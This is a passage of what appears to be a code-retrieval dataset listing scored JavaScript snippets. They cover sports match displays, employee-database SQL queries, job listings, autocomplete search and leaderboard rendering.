{\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').show();\n if (curGame.vod_link != \"\") {\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').html('Watch Game');\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').attr('href', curGame.vod_link);\n } else {\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').html('No VOD Yet');\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').attr('href', \"\");\n }\n\n //Set team results\n var t1Style;\n var t2Style;\n if (curGame.team1_stats.result == 'Win') {\n t1Style = \"winner\";\n t2Style = \"loser\";\n } else {\n t1Style = \"loser\";\n t2Style = \"winner\";\n }\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team1_results').html(curGame.team1_stats.result);\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team1_results').attr('class', '').addClass(t1Style).addClass('team1Results');\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team2_results').html(curGame.team2_stats.result);\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team2_results').attr('class', '').addClass(t2Style).addClass('team2Results');\n\n\n //Set the team results\n for (var i = 0; i < team1Roster.length; i++) {\n var pData = curGame.team1_stats.roster[pos[team1Roster[i].id]];\n\n $(team1Roster[i]).find('#player_name').html(pData.name);\n $(team1Roster[i]).find('#kda').html(pData.stats.k + \"/\" + pData.stats.d + \"/\" + pData.stats.a);\n $(team1Roster[i]).find('#fantasy_pts').html(pData.stats.f_pts);\n\n var pData2 = curGame.team2_stats.roster[pos[team2Roster[i].id]];\n\n $(team2Roster[i]).find('#player_name').html(pData2.name);\n $(team2Roster[i]).find('#kda').html(pData2.stats.k + \"/\" + pData2.stats.d + \"/\" + pData2.stats.a);\n $(team2Roster[i]).find('#fantasy_pts').html(pData2.stats.f_pts);\n }\n }\n }\n}", "title": "" }, { "docid": "670ba3990a10cf756fe4bdcdbba481a7", "score": "0.47933638", "text": "function display(){\n console.log(roster)\n}", "title": "" }, { "docid": "482630ed2529f3ba27b50b8b5a0510bb", "score": "0.47928965", "text": "function showOerationResults() {\n\n /****************************************************************************\n * Loop on project and show results\n ***************************************************************************/\n for (var p = 0; p < operatesResults.length; p++) {\n var projectResult = operatesResults[p];\n\n /**************************************************************************\n * Bypass project because is has not been processed\n *************************************************************************/\n if ( !tools.isDefined(projectResult['op']) ) {\n continue;\n }\n\n /**************************************************************************\n * Loops on results statuses\n *************************************************************************/\n msg.info('────────────────────────────────────────────────────────────────────────────────────────────────────');\n msg.info(projectResult['name']);\n msg.info('────────────────────────────────────────────────────────────────────────────────────────────────────');\n msg.info(sprintf(\"\\t%20s\\t%10s\\t%s\\t\", \"\", \"Status\", rd_statusesHdr));\n for (var r = 0; r < projectResult['results'].length; r++) {\n var res = projectResult['results'][r];\n var str = sprintf(\"\\t%20s\\t%s\", res['what'], res['status'])\n msg.info(str);\n }\n }\n}", "title": "" }, { "docid": "46eeecc1646565f5545b358eaa403167", "score": "0.47917396", "text": "function displayAdzunaJobSearch (data) {\n console.log('JSON results from Job search call:', data);\n if (data && data.mean && data.count) {\n $('#results').append(jobCountSalaryHTML(data));\n }\n }", "title": "" }, { "docid": "2f753ac9693beef3e380cd7357513259", "score": "0.47859186", "text": "function displayJobLevels(toon) {\n\n let level = toon.ClassJobs.map(el => el.Level);\n\n $('.pld').html(`${level[0]}`);\n $('.war').html(`${level[1]}`);\n $('.drk').html(`${level[2]}`);\n $('.gnb').html(`${level[3]}`);\n\n $('.whm').html(`${level[8]}`);\n $('.sch').html(`${level[9]}`);\n $('.ast').html(`${level[10]}`);\n\n $('.mnk').html(`${level[4]}`);\n $('.drg').html(`${level[5]}`);\n $('.nin').html(`${level[6]}`);\n $('.sam').html(`${level[7]}`);\n\n $('.brd').html(`${level[11]}`);\n $('.mch').html(`${level[12]}`);\n $('.dnc').html(`${level[13]}`);\n\n $('.blm').html(`${level[14]}`);\n $('.smn').html(`${level[15]}`);\n $('.rdm').html(`${level[16]}`);\n $('.blu').html(`${level[17]}`);\n\n $('.crp').html(`${level[18]}`);\n $('.bsm').html(`${level[19]}`);\n $('.arm').html(`${level[20]}`);\n $('.gsm').html(`${level[21]}`);\n $('.ltw').html(`${level[22]}`);\n $('.wvr').html(`${level[23]}`);\n $('.alc').html(`${level[24]}`);\n $('.cul').html(`${level[25]}`);\n\n $('.min').html(`${level[26]}`);\n $('.btn').html(`${level[27]}`);\n $('.fsh').html(`${level[28]}`);\n\n}", "title": "" }, { "docid": "0206c09de547c4acb9f3edd5aa3ef545", "score": "0.47855192", "text": "function viewEmployees() {\n const query =\n \"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary, CONCAT(manager.first_name, ' ', manager.last_name) AS manager FROM employee LEFT JOIN role on employee.role_id = role.id LEFT JOIN department ON role.department_id = department.id LEFT JOIN employee manager ON manager.id = employee.manager_id;\";\n\n connection.query(query, function (err, res) {\n if (err) throw err;\n console.log(\n chalk.yellow(\n \"\\n\" + \"-----------------EMPLOYEE LIST------------------------\" + \"\\n\"\n )\n );\n console.table(res);\n console.log(\n chalk.yellow(\"------------------------------------------------------\")\n );\n startSearch();\n });\n}", "title": "" }, { "docid": "5c5f9e3fac0163a3e28865fbdcb1c496", "score": "0.47854316", "text": "function displayMatches() {\n const matchArray = findMatches(this.value, cities);\n const html = matchArray.map(place => {\n const regex = new RegExp(this.value, 'gi');\n const cityName = place.city\n // Finds where the query matched with suggestions and highlights it\n .replace(regex,\n `<span class=\"hl\">${this.value}</span>`);\n const stateName = place.state\n // Finds where the query matched with suggestions and highlights it\n .replace(regex,\n `<span class=\"hl\">${this.value}</span>`);\n return `\n <li>\n <span class=\"name\">${cityName}, ${stateName}</span>\n <span class= \"population\">${numberWithCommas(place.population)}</span>\n </li> \n `;\n }).join(''); // Turns it into a string\n suggestions.innerHTML = html;\n}", "title": "" }, { "docid": "2d041423a2014da5303b9219db841d95", "score": "0.47821054", "text": "function printAllRequestedPeople() {\n\tvar bFound = false;\n\n\t// look for the searchName and print any residents found, or state that no residents are found\n\tfor( var i=0; i<unified.length; i++ ) {\n\t\tif( unified[i].planet.toLowerCase() === searchName.toLowerCase() ) { // be forgiving of capitalization\n\t\t\tbFound = true;\n\t\t\tif( unified[i].people.length > 0 ) {\n\t\t\t\tconsole.log('\\nHere are all the people listed as residents of planet ' + searchName + '\\n');\n\t\t\t\t\n\t\t\t\tconsole.log( unified[i].people);\n\t\t\t} else {\n\t\t\t\tconsole.log( '\\nPlanet ' + searchName + ' found, but no people listed');\n\t\t\t}\n\t\t\tbreak;\n\t\t}\t\n\t}\n\tif( !bFound ) {\n\t\tconsole.log( \"Planet named: \" + searchName + \" not found in the list, try again\");\n\t}\n\n}", "title": "" }, { "docid": "a656b67ea8924fa07285f7eb851aaa54", "score": "0.47804326", "text": "function interviewQuestion(job) {\n if(job === 'designer') {\n return function(name) {\n console.log(name + 'please explain what ux design is');\n }\n } else if (job === 'teacher'){\n return function(name) {\n console.log('what do you teach', + name); \n }\n } else {\n return function(name) {\n console.log('hello', + name + ' what do you do?');\n }\n }\n}", "title": "" }, { "docid": "eb3a626f6ca56502186738927a5978fd", "score": "0.4774228", "text": "function viewEmployee() {\n console.log(\"Viewing employees\\n\");\n\n var query =\n `SELECT e.id, e.first_name, e.last_name, r.title, d.name AS department, r.salary, CONCAT(m.first_name, ' ', m.last_name) AS manager\n FROM employee e\n LEFT JOIN role r\n\tON e.role_id = r.id\n LEFT JOIN department d\n ON d.id = r.department_id\n LEFT JOIN employee m\n\tON m.id = e.manager_id`\n\n connection.query(query, function (err, res) {\n if (err) throw err;\n\n console.table(res);\n console.log(\"Employees viewed!\\n\");\n\n firstPrompt();\n });\n // console.log(query.sql);\n}", "title": "" }, { "docid": "b75281cc4d4987c0e938127b0d4efc6d", "score": "0.4770499", "text": "function drawHtmlOfMatch(coupon, m, oddsType, matchLineStyle) {\n var sb = new StringBuffer();\n definedPoolArr[m.matchID + oddsType] = 1;\n\tvar pool = getPool(m, oddsType);\n sb.append(drawNoramlOddsRow(coupon, m, oddsType, pool, matchLineStyle));\n\treturn sb.toString();\n}", "title": "" }, { "docid": "18dbbb02616b38c0b454d6da7444e03b", "score": "0.4766214", "text": "function viewByMgr() {\n \n clear();\n\n connection.query(\"SELECT m.first_name AS ? , m.last_name AS ? , m.id FROM employee e JOIN role r ON e.role_id = r.id JOIN department d ON r.department_id = d.id LEFT JOIN employee m on e.manager_id = m.id GROUP BY m.id;\", [\"manager_first_name\", \"manager_last_name\"], function (err, res) {\n\n let managerArrays = empNameAndIdArrays(err, res, \"manager\");\n\n inquirer\n .prompt({\n name: \"findThisName\",\n type: \"list\",\n message: \"Ok, which manager?\",\n choices: managerArrays[1]\n\n })\n .then(function (answer) {\n connection.query(\"SELECT e.id, e.first_name, e.last_name, title, salary, name, m.first_name AS ? , m.last_name AS ? FROM employee e JOIN role r ON e.role_id = r.id JOIN department d ON r.department_id = d.id LEFT JOIN employee m on e.manager_id = m.id where m.id = ?;\", [\"manager_first_name\", \"manager_last_name\", findId(answer, managerArrays)], function (err, res) {\n renderTable(err, res);\n }) \n })\n })\n\n}", "title": "" }, { "docid": "d706e7c80f277efbfbe9fac38be8fee5", "score": "0.47642583", "text": "function showMembersSGTreemapPanel() {\n\n flagActiveTab = \"MEM_TREE_MAP_SG\";\n\n // populate Member TreeMap using pulseUpdate\n var pulseData = {};\n pulseData.ClusterMembers = \"\";\n ajaxPost(\"pulseUpdate\", pulseData, translateGetClusterMemberBack);\n\n}", "title": "" }, { "docid": "d127d4a6e4a84ffff0c1dc10ff5e925f", "score": "0.47615936", "text": "function displayWork(){\n for (job in work.jobs) {\n $(\"#workExperience\").append(HTMLworkStart);\n\n var formattedEmployer = HTMLworkEmployer.replace(\"%data%\", work.jobs[job].employer);\n var formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[job].title);\n var formattedEployerTitle = formattedEmployer + formattedTitle;\n $(\".work-entry:last\").append(formattedEployerTitle);\n\n var formattedDates = HTMLworkDates.replace(\"%data%\", work.jobs[job].dates);\n $(\".work-entry:last\").append(formattedDates);\n\n var formattedDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n $(\".work-entry:last\").append(formattedDescription);\n }\n}", "title": "" }, { "docid": "af45363ddf9f43f235bfbf8dbe80a92a", "score": "0.47540388", "text": "function replaceDetails(job, jobView) {\n\n var rightPanelHTML = '<div class=\"description shadow\"> \\\n <span class=\"job-title\"> \\\n <span></span> \\\n </span> \\\n <span class=\"job-buttons\"> \\\n <img class=\"star\" src=\"images/star-hollow.png\"/>\\\n <button id=\"mark_completed_button\" class=\"btn btn-custom\">Mark completed</button> \\\n </span> \\\n <div class=\"job-location\"> \\\n </div> \\\n <div class=\"job-description\"> \\\n </div> \\\n <div class=\"job-reporter\"> \\\n </div> \\\n </div> \\\n <div class=\"assignment shadow\"> \\\n <!--<h4>Assignment</h4>--> \\\n <span> \\\n <img class=\"assigned-mechanic-img\" style=\"width:50px\" src=\"images/default.png\"/> \\\n <select class=\"assigned-mechanic\"> \\\n </select> \\\n <button id=\"assign-button\" type=\"submit\" class=\"btn btn-custom\"><b>Assign</b></button> \\\n </span> \\\n </div> \\\n <div class=\"panel-updates shadow\"> \\\n <div class=\"updates\"> \\\n <!--<h4>Updates</h4>--> \\\n <div class=\"update\"> \\\n <div> \\\n <img class=\"update-image\" style=\"width:50px\" src=\"images/default.png\"/> \\\n </div> \\\n <div class=\"update-text\"> \\\n </div> \\\n </div> \\\n </div> \\\n <div class=\"update-form\"> \\\n <textarea id=\"update-textarea\" class=\"input input-block-level\" placeholder=\"Type an update...\"/></textarea> \\\n <button id=\"update-button\" type=\"submit\" class=\"btn btn-custom\"><b>Submit</b></button> \\\n <span class=\"help-inline\">Tip: Press tab and then enter to submit an update.</span> \\\n </div> \\\n </div>'; \n var currentElement = document.getElementsByClassName(\"description-panel\")[0];\n currentElement.innerHTML = rightPanelHTML; \n $(\".description-panel .description .job-title span\").html(job.getTitle());\n $(\".description-panel .description .job-location\").html(job.getLocation());\n $(\".description-panel .description .job-description\").html(job.getText());\n var reporter = job.getReporter();\n $(\".description-panel .description .job-reporter\").html(reporter.getName() + \", \" + reporter.getEmail() + \", \" + reporter.getPhone());\n\n for (var i = 0; i < workers.length; i++) {\n\n if (job.getWorker() && job.getWorker().getName() === workers[i].getName()) {\n $(\".assigned-mechanic\").append($('<option selected=\"selected\" value=' + i + '>' + workers[i].getName() + '</option>'));\n $(\".assigned-mechanic-img\").attr('src', job.getAssignedToPic());\n } else {\n $(\".assigned-mechanic\").append($('<option value=' + i + '>' + workers[i].getName() + '</option>'));\n }\n };\n\n \n \n $(\".updates\").empty();\n // $(\".updates\").append($('<h4>Updates</h4>'))\n\n $.each(job.getUpdateList(), function(index, update) {\n var $update = $('<div class=\"update\"/>');\n var $img = $('<div><img class=\"update-image\" style=\"width:50px;\"'\n +'src=\"'+ update.getUpdater().getPicture() +'\"/></div>');\n var $updateText = $('<div class=\"update-text\"/>');\n $updateText.append($('<span class=\"username\">' + update.getUpdater().getName() + \" \" + '</span>'));\n $updateText.append(update.getText());\n $updateText.append($('<div class=\"time\">' + update.getTime() + '</div>'));\n\n $update.append($img);\n $update.append($updateText);\n $(\".updates\").append($update);\n });\n\n if (job.isStarred()) {\n $(\".job-buttons\").find(\".star\").remove();\n $(\".job-buttons\").prepend($(\"<img class='star filled' src='images/star_filled2.png' />\"));\n } else {\n $(\".job-buttons\").find(\".star\").remove();\n $(\".job-buttons\").prepend($('<img class=\"star\" src=\"images/star-hollow.png\"/>'));\n }\n\n var starIconRightPanel = $(\".job-buttons\").find(\".star\");\n giveRightPanelStarIconClickHandler(jobView, job, starIconRightPanel);\n\n var completedButton = $(\".job-buttons\").find(\"#mark_completed_button\");\n if (job.getStatus() === 'completed') {\n completedButton.html(\"Mark incomplete\");\n } else {\n completedButton.html(\"Mark complete\");\n }\n giveRightPanelCompletedClickHandler(jobView, job, completedButton);\n\n var assignButton = $(\"#assign-button\");\n giveRightPanelAssignedClickHandler(jobView, job, assignButton);\n \n buttonListeners(); \n}", "title": "" }, { "docid": "d18b9b82b5ad95bdf521ff6597d6f126", "score": "0.47534007", "text": "async function matchPrint({\n\ttext = \"\",\n\tminScore = 5,\n\tlanguage = \"english\",\n\tshingleSize = 2,\n\tapikey = process.env.G_API_KEY,\n\tengineid = process.env.G_ENGINE_ID,\n\tmaximumGap = 3,\n\tminimumClusterSize = 5\n} = {}) {\n\tlet sources = await match(arguments[0]).catch(console.log)\n\tconsole.log(\"\\n\\n\\nComparison\")\n\tfor (source of sources) {\n\t\tfor (let singleMatch of source.matches) {\n\t\t\tif (singleMatch.score >= minScore) {\n\t\t\t\tconsole.log(`\\n\\n\\nFROM ${source.source}\\n\\n`)\n\t\t\t\tconsole.log(\n\t\t\t\t\t`ORIGINAL: ${text.slice(\n\t\t\t\t\t\tsingleMatch.inputStart,\n\t\t\t\t\t\tsingleMatch.inputEnd\n\t\t\t\t\t)}\\n\\n`\n\t\t\t\t)\n\t\t\t\tconsole.log(\n\t\t\t\t\t`COMPARED: ${source.text.slice(\n\t\t\t\t\t\tsingleMatch.comparedStart,\n\t\t\t\t\t\tsingleMatch.comparedEnd\n\t\t\t\t\t)}\\n\\n`\n\t\t\t\t)\n\t\t\t\tconsole.log(`SCORE: ${singleMatch.score}`)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "634bc9d57be44d92b8d977ef67dfed9d", "score": "0.47405955", "text": "function displayTarget(){\n $(\"#targetDisplay\").text(targetScore);\n }", "title": "" }, { "docid": "a91ac87cd8c5c1072ca28eecd4af0b94", "score": "0.4733417", "text": "function viewEmpByMgr(){\n \n const query = `SELECT CONCAT(manager.first_name, ' ', manager.last_name) AS Manager, department.name AS department, employee.id AS EmployeeID, CONCAT(employee.first_name, employee.last_name) AS Employee_Name, role.title AS Role\n FROM employee\n LEFT JOIN employee manager on manager.id = employee.manager_id\n INNER JOIN role ON (role.id = employee.role_id && employee.manager_id != 'NULL')\n INNER JOIN department ON (department.id = role.department_id)\n ORDER BY manager;`;\n db.query(query, (err, response) => {\n if (err) throw err;\n\n console.log(``);\n console.log(chalk.yellow.bold(`====================================================================================`));\n console.log(` ` + chalk.green.bold(`View Employees by Managers`));\n console.log(chalk.yellow.bold(`====================================================================================`));\n console.table((response));\n console.log(chalk.yellow.bold(`====================================================================================`));\n });\n promptUserInput();\n}", "title": "" }, { "docid": "1784d5377da2d62b87182d83e4fa54d7", "score": "0.47331125", "text": "function viewEmployeeByManager() {\n console.log(\"Viewing employees by manager\\n\");\n\n var query =\n `SELECT e.manager_id,(select concat(em.first_name,' ',em.last_name) from employee em where em.id=e.manager_id) as manager\n FROM employee e where e.manager_id IS NOT NULL\n GROUP BY e.manager_id`\n\n connection.query(query, function (err, res) {\n if (err) throw err;\n\n // const departmentChoices = res.map(({ id, name }) => ({\n // name: `${id} ${name}`,\n // value: id\n // }));\n\n const managerChoices = res.map(data => ({\n value: data.manager_id, name: data.manager\n }));\n\n console.table(res);\n console.log(\"Manager view succeed!\\n\");\n\n promptManager(managerChoices);\n });\n // console.log(query.sql);\n}", "title": "" }, { "docid": "ec13cfecc3e239005a581eb98015a0a9", "score": "0.47326705", "text": "function ViewEmployeesbyManager() {\r\n//SQL query to list manager-assigned employees\r\n connection.query(\"Select a.manager_id as manager_id, first_name as ManagerFirstName, last_name as ManagerLastName, EmployeeFirstName, EmployeeLastName from employee B right join (Select manager_id, first_name as EmployeeFirstName, last_name as EmployeeLastName from employee group by manager_id, first_name, last_name) A on A.manager_id=b.id where a.manager_id <> 0 order by a. manager_id asc\",\r\n function(err, res) {if (err) throw err;\r\n for (var i = 0; i < res.length; i++) {\r\n console.log(\"Manager ID: \" + res[i].manager_id + \"|| Manager First Name: \" + res[i].ManagerFirstName + \" || Manager Last Name: \" + res[i].ManagerLastName + \" || EmployeeFirstName: \" + res[i].EmployeeFirstName+ \" || Employee Last Name: \" + res[i].EmployeeLastName);\r\n }\r\n start();\r\n}\r\n)}", "title": "" }, { "docid": "296c0e0431a45148d84535fdc0e9cb83", "score": "0.47308517", "text": "function displayReport(quizGrade, quizCandidateName, quizQuestions, quizCandidateAnswers, quizCorrectAnswers) {\n // display report header\n console.log(`\\n-----------------------------\\nCandidate Name: ${quizCandidateName}`);\n\n // display report body\n for (let i = 0; i < quizQuestions.length; i++){\n console.log(`\\n${i+1}) ${quizQuestions[i]}`);\n console.log(`Your Answer: ${quizCandidateAnswers[i]}`);\n console.log(`Correct Answer: ${quizCorrectAnswers[i]}`);\n }\n\n // display report footer\n // NOTE: Used computation (quizGrade*quizQuestions.length)/100) to compute count of correct answers\n console.log(`\\n>>> Overall Grade: ${quizGrade}% (${(quizGrade*quizQuestions.length)/100} of ${quizQuestions.length} responses correct) <<<`);\n if (quizGrade >= 80){\n console.log(`>>> Status: PASSED <<<`);\n }\n else {\n console.log(`>>> Status: FAILED <<<`);\n }\n}", "title": "" }, { "docid": "31dcd0d9120b3cf59accca1e2fb2d6a9", "score": "0.4727175", "text": "function getLeaderboardText()\n{\n\tvar sortedPlayer = [];\n\tvar cpt = 0;\n\tfor (var player in players) {\n\t\tif (players.hasOwnProperty(player)) {\n\t\t\tsortedPlayer[cpt] = players[player];\n\t\t\tsortedPlayer[cpt].name = player;\n\t\t\tcpt++;\n\t\t}\n\t}\n\tvar returnValue = \"\";\n\tsortedPlayer = sortedPlayer.sort(function (a, b)\n\t{\n\t\tif (a.score > b.score)\n\t\t\treturn -1;\n\t\tif (a.score < b.score)\n\t\t\treturn 1;\n\t\treturn 0;\n\t});\n\tfor (var i = 0; i < sortedPlayer.length; i++) {\n\t\tplayers[sortedPlayer[i].name].ranks = i + 1;\n\t}\n\tfor (var i = 0; i < sortedPlayer.length; i++) {\n\t\tif (i === 5)\n\t\t\tbreak;\n\t\tif (sortedPlayer[i].name.length >= 12)\n\t\t{\n\t\t\tsortedPlayer[i].name = sortedPlayer[i].name.substring(0, 12);\n\t\t}\n\t\tvar toPrint = sortedPlayer[i].name + \":\" + \" \".repeat(12 - sortedPlayer[i].name.length);\n var scoreToPrint = sortedPlayer[i].score.toString();\n if (scoreToPrint.length >= 8)\n\t\t{\n\t\t\tscoreToPrint = scoreToPrint.substring(0, 8);\n\t\t}\n var scoreToPrint = scoreToPrint + \" \".repeat(8 - scoreToPrint.length);\n\t\treturnValue += \"<pre> <font color=\\\"yellow\\\">#\" + (i + 1) + \"</font> \" + toPrint + \" \" + scoreToPrint + \" x\" + Math.floor(sortedPlayer[i].mult) + \"<br></pre>\";\n\t}\n\treturn returnValue;\n}", "title": "" }, { "docid": "4b24faecc8bca0bd734ef74e85a9f6d5", "score": "0.47183684", "text": "function viewEmployee() {\n connection.query(\"SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary FROM employee LEFT JOIN role ON employee.role_id = role.id LEFT JOIN department on role.department_id = department.id;\",\n (err, res) => {\n if (err) throw err;\n console.table('Employees:', res)\n });\n runTracker();\n}", "title": "" }, { "docid": "2d4dfd24fbacd36bcacb5ccb76805269", "score": "0.47119612", "text": "function interviewQuestion(job) {\n if (job === \"designer\") {\n return function(name) {\n // console.log(name + \", can you design\");\n };\n } else if (job === \"teacher\") {\n return function(name) {\n // console.log(name + \" what you teach\");\n };\n } else {\n return function(name) {\n // console.log(name + \" what you do\");\n };\n }\n}", "title": "" }, { "docid": "f154bbc37ecb79ebb77fbb3d72d7284e", "score": "0.47116357", "text": "function tellFortune(job, location, partner, children){\n\tconsole.log(`You will be a ${job} in ${location}, and married to ${partner} with ${children}`);\n}", "title": "" }, { "docid": "d6eef4b4dc505ae67b00811e66534234", "score": "0.4711378", "text": "function displayMatches(matches){\t\n\tfor (var matchCounter = 0; matchCounter < matches.length; matchCounter++) {\n\t\t// Create li element inside ul with the name from the characters array\n\t\tautoCompleteResult.innerHTML += '<li class=\"result\">' + matches[matchCounter].vehicle_image + '' +\n\t\t\t\t\t\t\t\t\t\t'<span class=\"result_name\">' + matches[matchCounter].name +'</span>' +\n\t\t\t\t\t\t\t\t\t\t'<input type=\"hidden\" class=\"matches_index\" value=\"'+ matchCounter +'\">' +\n\t\t\t\t\t\t\t\t\t\t'<input type=\"hidden\" class=\"result_index\" value=\"'+ matches[matchCounter].index +'\"></li>';\n\t}\n\thighlightResult(focusHighlight);\n\ttoggleResult(\"show\");\n}", "title": "" }, { "docid": "819a3d6f0030f15f527ae52ccf8d8c90", "score": "0.47108793", "text": "function renderMatchingNumber() {\n var scoreNumDiv = $(\"<div id='score-number'>\").text(yourMatchingNumber);\n $(\"#score-area\").html();\n $(\"#score-area\").html(scoreNumDiv);\n}", "title": "" }, { "docid": "70a51776a6e9b8303ced2df050f91602", "score": "0.47103265", "text": "function displayEmployeeInfo() {\n let el = $('#employeeList');\n for (let index = 0; index < employees.length; index++) {\n let employeePrint = employeeFinal( employees[index]);\n el.append( '<li>' + employeePrint.name + ' ' + employeePrint.bonusPercentage + ' ' + employeePrint.totalCompensation + ' ' + employeePrint.totalBonus + '</li>' );\n }\n }", "title": "" }, { "docid": "d914e7028e591f0bc0d1316dc660e328", "score": "0.4708079", "text": "function printOutput(rowcount, output){\n console.log(`Found ${rowcount} person(s) with name ${name}`);\n console.log(output);\n}", "title": "" }, { "docid": "cab44f4eb72f84a036e338c2dcc6b896", "score": "0.47044563", "text": "function showMembersRZTreemapPanel() {\n \n flagActiveTab = \"MEM_TREE_MAP_RZ\";\n\n // populate Member TreeMap using pulseUpdate\n var pulseData = {};\n pulseData.ClusterMembers = \"\";\n ajaxPost(\"pulseUpdate\", pulseData, translateGetClusterMemberBack);\n}", "title": "" }, { "docid": "8b246520097d0857f71be894631f59b1", "score": "0.4696996", "text": "function interviewQuestion(job) {\n if (job === \"designer\") {\n return function(name) {\n console.log(name + \", can you please explain what UX design is?\");\n };\n } else if (job === \"teacher\") {\n return function(name) {\n console.log(\"What subject do you teach, \" + name + \"?\");\n };\n } else {\n return function(name) {\n console.log(\"Hello \" + name + \", what do you do?\");\n };\n }\n}", "title": "" }, { "docid": "563a9d73d4836b0669eb3d6f2cbf91b0", "score": "0.4693975", "text": "function displayMatches(){\n const matchArray = findMatches(this.value, cities);\n const html = matchArray.map(place => {\n const regex = new RegExp(this.value, 'gi');\n const cityName = place.city.replace(\n regex, \n `<span class=\"hl\">${this.value}</span>`\n );\n const stateName = place.state.replace(\n regex, \n `<span class=\"hl\">${this.value}</span>`\n );\n return `\n <li>\n <span class=\"name\">${cityName}, ${stateName}</span>\n <span class=\"population\">${numberWithCommas(place.population)}</span>\n </li>\n `\n }).join('');\n suggestions.innerHTML = html;\n}", "title": "" }, { "docid": "4f6b4f1872e21a8386aa0583fc5bab1c", "score": "0.46912554", "text": "function displayWork() {\n\n\t$(\"#workExperience\").append(HTMLworkStart);\n\n\tvar formattedEmployer= HTMLworkEmployer.replace(\"%data%\",work.jobs[0].employer);\n\t\n\tvar formattedTitle = HTMLworkTitle.replace(\"%data%\", work.jobs[0].title);\n\t\n\tvar formattedEmployerTitle = formattedEmployer + formattedTitle;\n\t$(\".work-entry:last\").append(formattedEmployerTitle);\n\tvar formatteddates = HTMLworkDates.replace(\"%data%\",work.jobs[0].dates);\n\n\t$(\".work-entry:last\").append(formatteddates);\n\t\n\tvar formatteddescription = HTMLworkDescription.replace(\"%data%\",work.jobs[0].description);\n\t$(\".work-entry:last\").append(formatteddescription);\n\n\t\n}", "title": "" }, { "docid": "bae019cd9e708eb24144cc6e2fcec789", "score": "0.4685009", "text": "function interviewQuestion(job) {\n if (job === \"designer\") {\n return function(name) {\n // console.log(name + \", what is your favorite part of design?\");\n };\n } else if (job === \"developer\") {\n return function(name) {\n // console.log(name + \", what is your favorite framework?\");\n };\n } else {\n return function(name) {\n // console.log(name + \", are you currently working?\");\n };\n }\n}", "title": "" }, { "docid": "495f1f2ae04b2b78f5053d8c949f423b", "score": "0.46841267", "text": "function interviewQuestion(job) {\n if (job === 'designer') {\n return function(name) {\n console.log(name + ', can you please explain what UX design is?');\n }\n } else if (job === 'teacher') {\n return function(name) {\n console.log('What subject do you teach, ' + name + '?');\n }\n } else {\n return function(name) {\n console.log('Hello ' + name + ', what do you do?');\n }\n }\n}", "title": "" }, { "docid": "9ce108dc108450ee5f7b7651b5bf0200", "score": "0.4681886", "text": "function renderMatchingNumber() {\n //inline varaiable to house div\n var scoreNumDiv = $(\"<div id='score-number'>\").text(yourNum);\n $(\"#score-area\").html();\n $(\"#score-area\").html(scoreNumDiv);\n }", "title": "" }, { "docid": "93f76e7b5f41c6a6aa55f5d7c09b5d7f", "score": "0.46806377", "text": "function show(evt) {\n\t\t\n\t\tvar row = evt.target.id.slice(4);\n\t\tvar score = table.fnGetData()[row][3];\n\t\t\n\t\tvar comps = [];\n\t\tvar pcts = [];\n\t\t\n\t\tif (row >= history.length) {\n\t\t\t\n\t\t\tvar best = 0;\n\t\t\tfor (var i = 0; i < history.length; i++) {\n\t\t\t\n\t\t\t\tif (table.fnGetData()[i][3] > best) {\n\t\t\t\t\tbest = table.fnGetData()[i][3];\n\t\t\t\t\trow = i;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tfor (var i = 1; i < history[row].length; i++) {\n\t\t\t\n\t\t\tif (Math.round(history[row][i].score) == score) {\n\t\t\t\tcomps = history[row][i].comps;\n\t\t\t\tpcts = history[row][i].pcts; \n\t\t\t}\n\t\t}\n\t\t\n\t\t// Hacky fix to multiply by 100...\n\t\tif (pcts[0] <= 1)\n\t\t\tfor (var i = 0; i < pcts.length; i++) pcts[i] = pcts[i] * 100;\n\t\t\n\t\tmessenger.send('update', {\n\t\t\tcomps: comps,\n\t\t\tpcts: pcts\n\t\t}, viewport.update);\n\t\t\n\t\tviewport.get_graph().show_target(history[row][0].gas);\n\t}", "title": "" } ]
6d8d80c9210824229a110ee772289ef9
Implements a host component that allows optionally setting the props `value` and `defaultValue`. If `multiple` is false, the prop must be a stringable. If `multiple` is true, the prop must be an array of stringables. If `value` is not supplied (or null/undefined), user actions that change the selected option will trigger updates to the rendered options. If it is supplied (and not null/undefined), the rendered options will not update in response to user actions. Instead, the `value` prop must change in order for the rendered options to update. If `defaultValue` is provided, any options with the supplied values will be selected.
[ { "docid": "413432959c9667ede8133f14c6aaebcb", "score": "0.0", "text": "function getHostProps$2(element, props) {\n return _assign({}, props, {\n value: undefined\n });\n}", "title": "" } ]
[ { "docid": "761ef7888d17cc546c18e90d4cd540bb", "score": "0.59435827", "text": "function MultiValue(props) {\n return (\n <Chip\n tabIndex={-1}\n //label={props.children}\n label={(props.children === 'All') ?\n props.children\n :\n <div>\n <img className='select__search-icon' alt=\"avatar\" src={require('../../resources/imgs/players/' + props.children + '.png')} height=\"16\" width=\"16\"/>\n {' ' + props.children}\n </div>\n }\n className={clsx(props.selectProps.classes.chip, {\n [props.selectProps.classes.chipFocused]: props.isFocused,\n })}\n onDelete={props.removeProps.onClick}\n deleteIcon={<CancelIcon {...props.removeProps} />}\n />\n );\n }", "title": "" }, { "docid": "b5945148b104ad99656ab1ae4573e084", "score": "0.58871883", "text": "function useSelect(props) {\n var buttonRefProp = props.buttonRef,\n defaultValueProp = props.defaultValue,\n _props$disabled = props.disabled,\n disabled = _props$disabled === void 0 ? false : _props$disabled,\n listboxIdProp = props.listboxId,\n listboxRefProp = props.listboxRef,\n 